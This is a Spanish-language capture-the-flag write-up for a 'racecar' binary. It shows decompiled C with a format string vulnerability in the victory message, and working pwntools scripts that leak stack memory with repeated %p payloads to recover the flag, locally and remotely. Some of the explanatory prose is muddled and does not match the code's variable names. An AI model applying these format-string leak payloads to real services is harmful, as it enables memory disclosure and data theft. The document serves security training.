Protecciones#
Funciones#
main#
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned int v5; // [esp+0h] [ebp-Ch]
v5 = __readgsdword(0x14u);
setup();
banner();
info();
while ( check )
{
v3 = menu();
if ( v3 == 1 )
{
car_info();
}
else if ( v3 == 2 )
{
check = 0;
car_menu();
}
else
{
printf("\n%s[-] Invalid choice!%s\n", "\x1B[1;31m", "\x1B[1;36m");
}
}
return __readgsdword(0x14u) ^ v5;
}
Info#
unsigned int info()
{
void *buf; // [esp+4h] [ebp-14h]
char *s; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
buf = malloc(0x20u);
s = (char *)malloc(0x20u);
printf("\n%sInsert your data:\n\n", "\x1B[1;36m");
printf("Name: ");
read(0, buf, 0x1Fu);
*((_BYTE *)buf + strlen((const char *)buf) - 1) = 0;
printf("Nickname: ");
read(0, s, 0x1Fu);
s[strlen(s) - 1] = 0;
printf(
"\n%s[+] Welcome [%s%s%s]!\n\n%s[*] Your name is [%s%s%s] but everybody calls you.. [%s%s%s]!",
"\x1B[1;32m",
"\x1B[1;33m",
buf,
"\x1B[1;32m",
"\x1B[1;36m",
"\x1B[1;33m",
buf,
"\x1B[1;36m",
"\x1B[1;33m",
s,
"\x1B[1;36m");
printf("\n[*] Current coins: [%d]\n", coins);
return __readgsdword(0x14u) ^ v3;
}
car_menu#
int car_menu()
{
time_t v0; // eax
size_t i; // eax
size_t v2; // edx
int result; // eax
int v4; // [esp+0h] [ebp-58h]
int v5; // [esp+0h] [ebp-58h]
int v6; // [esp+4h] [ebp-54h]
int v7; // [esp+4h] [ebp-54h]
unsigned int v8; // [esp+8h] [ebp-50h]
int v9; // [esp+Ch] [ebp-4Ch]
int v10; // [esp+10h] [ebp-48h]
void *buf; // [esp+18h] [ebp-40h]
FILE *stream; // [esp+1Ch] [ebp-3Ch]
char v13[44]; // [esp+20h] [ebp-38h] BYREF
unsigned int v14; // [esp+4Ch] [ebp-Ch]
v14 = __readgsdword(0x14u);
v4 = -1;
v6 = -1;
do
{
printf(aSelectCar1);
v9 = read_int(v4, v6);
if ( v9 != 2 && v9 != 1 )
printf("\n%s[-] Invalid choice!%s\n", "\x1B[1;31m", "\x1B[1;36m");
}
while ( v9 != 2 && v9 != 1 );
v10 = race_type();
v0 = time(0);
srand(v0);
if ( v9 == 1 && v10 == 2 || v9 == 2 && v10 == 2 )
{
v5 = rand() % 10;
v7 = rand() % 100;
}
else if ( v9 == 1 && v10 == 1 || v9 == 2 && v10 == 1 )
{
v5 = rand() % 100;
v7 = rand() % 10;
}
else
{
v5 = rand() % 100;
v7 = rand() % 100;
}
v8 = 0;
for ( i = strlen("\n[*] Waiting for the race to finish..."); ; i = strlen("\n[*] Waiting for the race to finish...") )
{
v2 = i;
result = v8;
if ( v2 <= v8 )
break;
putchar(aWaitingForTheR[v8]);
if ( aWaitingForTheR[v8] == 46 )
sleep(0);
++v8;
}
if ( v9 == 1 && (result = v5, v5 < v7) || v9 == 2 && (result = v5, v5 > v7) )
{
printf("%s\n\n[+] You won the race!! You get 100 coins!\n", "\x1B[1;32m");
coins += 100;
printf("[+] Current coins: [%d]%s\n", coins, "\x1B[1;36m");
printf("\n[!] Do you have anything to say to the press after your big victory?\n> %s", "\x1B[0m");
buf = malloc(0x171u);
stream = fopen("flag.txt", "r");
if ( !stream )
{
printf("%s[-] Could not open flag.txt. Please contact the creator.\n", "\x1B[1;31m");
exit(105);
}
fgets(v13, 44, stream);
read(0, buf, 0x170u);
puts("\n\x1B[3mThe Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: \x1B[0m");
return printf((const char *)buf);
}
else if ( v9 == 1 && (result = v5, v5 > v7) || v9 == 2 && (result = v5, v5 < v7) )
{
printf("%s\n\n[-] You lost the race and all your coins!\n", "\x1B[1;31m");
coins = 0;
return printf("[+] Current coins: [%d]%s\n", 0, "\x1B[1;36m");
}
return result;
}
- Se solicita al usuario que elija un coche (1 o 2).
- Luego se le solicita al usuario que elija un tipo de carrera mediante una llamada a
race_type()(de nuevo, 1 o 2). - Dependiendo de qué combinación de coche y tipo de carrera se seleccione,
iVar1y elracetypeLas variables se deciden aleatoriamente en función de algún módulo matemático. Exactamente qué valores de módulo se utilizan diferirán según la combinación. - Después de esto, se realiza una verificación basada en
carselection,iVar1, y elracetypevariables. Si se pasa, la bandera se lee en la memoria pero no se muestra en ninguna parte. - Se le solicita al usuario un mensaje de victoria más.
Además:
- Si
carselectionyracetypeson 1 y 2 respectivamente, entoncesracetypeEs probable que sea más pequeño queiVar1. - Si
carselectionyracetypeson 2 y 1 respectivamente, entoncesracetypees probable que sea mayor queiVar1. - Si
carselectionyracetypeson iguales, entoncesracetypees probable que tenga un tamaño incorrecto en relación coniVar1.
Análisis#
La vulnerabilidad de este binario esta al momento de imprimir el mensaje al ganar la carrera, debido a que podemos atacar un format string lo que nos permite hacer un leak del stack, la forma de hallar la flag es que como se leyó en el momento en que ganamos se encuentra en el mismo stack haciendo la prueba en local con nuestra flag siendo AAAA que en hexadecimal se vería 0x41414141 entonces vamos a empezar tratando de hacer un leak de memoria:
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
gdbscript = """
init-pwndbg
continue
""".format(
**locals()
)
exe = "./racecar"
elf = context.binary = ELF(exe, checksec=True)
context.log_level = "debug"
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
p = start()
p.sendlineafter(b"Name:", b'l')
p.sendlineafter(b"Nickname:", b'l')
p.sendlineafter(b">", b'2')
p.sendlineafter(b">", b'2')
p.sendlineafter(b">", b'1')
payload = b'%p ' * 20
p.sendlineafter(b">", payload)
p.interactive()
Si contamos las posiciones nos daremos cuenta que la flag empieza en la posición 12 por lo que la vamos a atrapar y a trata de volver al formato original:
p = start()
p.sendlineafter(b"Name:", b'l')
p.sendlineafter(b"Nickname:", b'l')
p.sendlineafter(b">", b'2')
p.sendlineafter(b">", b'2')
p.sendlineafter(b">", b'1')
payload = b'%p' * 11 + b'flag: ' + b'%p'*1
p.sendlineafter(b">", payload)
p.recvuntil(b'flag: 0x')
flag_real = ''
for i in range(2):
flag = p.recvuntil('0x')
flag = flag[:-2]
flag_hex_str = flag.decode()
try:
# Convertimos hex a bytes reales
raw_bytes = bytes.fromhex(flag_hex_str)
raw_bytes = raw_bytes[::-1]
# Decodificamos a ASCII, ignorando caracteres no imprimibles
ascii_flag = raw_bytes.decode('ascii', errors='ignore')
except Exception as e:
ascii_flag = "<error decoding>"
flag_real = flag_real + ascii_flag
print(f'flag: {flag_real}')
p.close()
Primero lo probé con la flag local que es AAAA que solo ocupa un leak de memoria:
Luego cuando lo hice en remoto fui aumentando la cantidad de leaks y el número del range en el for hasta que se obtuvo la flag al completo.
Exploit#
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
gdbscript = """
init-pwndbg
continue
""".format(
**locals()
)
exe = "./racecar"
elf = context.binary = ELF(exe, checksec=True)
context.log_level = "debug"
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
p = start()
p.sendlineafter(b"Name:", b'l')
p.sendlineafter(b"Nickname:", b'l')
p.sendlineafter(b">", b'2')
p.sendlineafter(b">", b'2')
p.sendlineafter(b">", b'1')
payload = b'%p' * 11 + b'flag: ' + b'%p'*12
p.sendlineafter(b">", payload)
p.recvuntil(b'flag: 0x')
flag_real = ''
for i in range(11):
flag = p.recvuntil('0x')
flag = flag[:-2]
flag_hex_str = flag.decode()
try:
# Convertimos hex a bytes reales
raw_bytes = bytes.fromhex(flag_hex_str)
raw_bytes = raw_bytes[::-1]
# Decodificamos a ASCII, ignorando caracteres no imprimibles
ascii_flag = raw_bytes.decode('ascii', errors='ignore')
except Exception as e:
ascii_flag = "<error decoding>"
flag_real = flag_real + ascii_flag
print(f'flag: {flag_real}')
p.close()



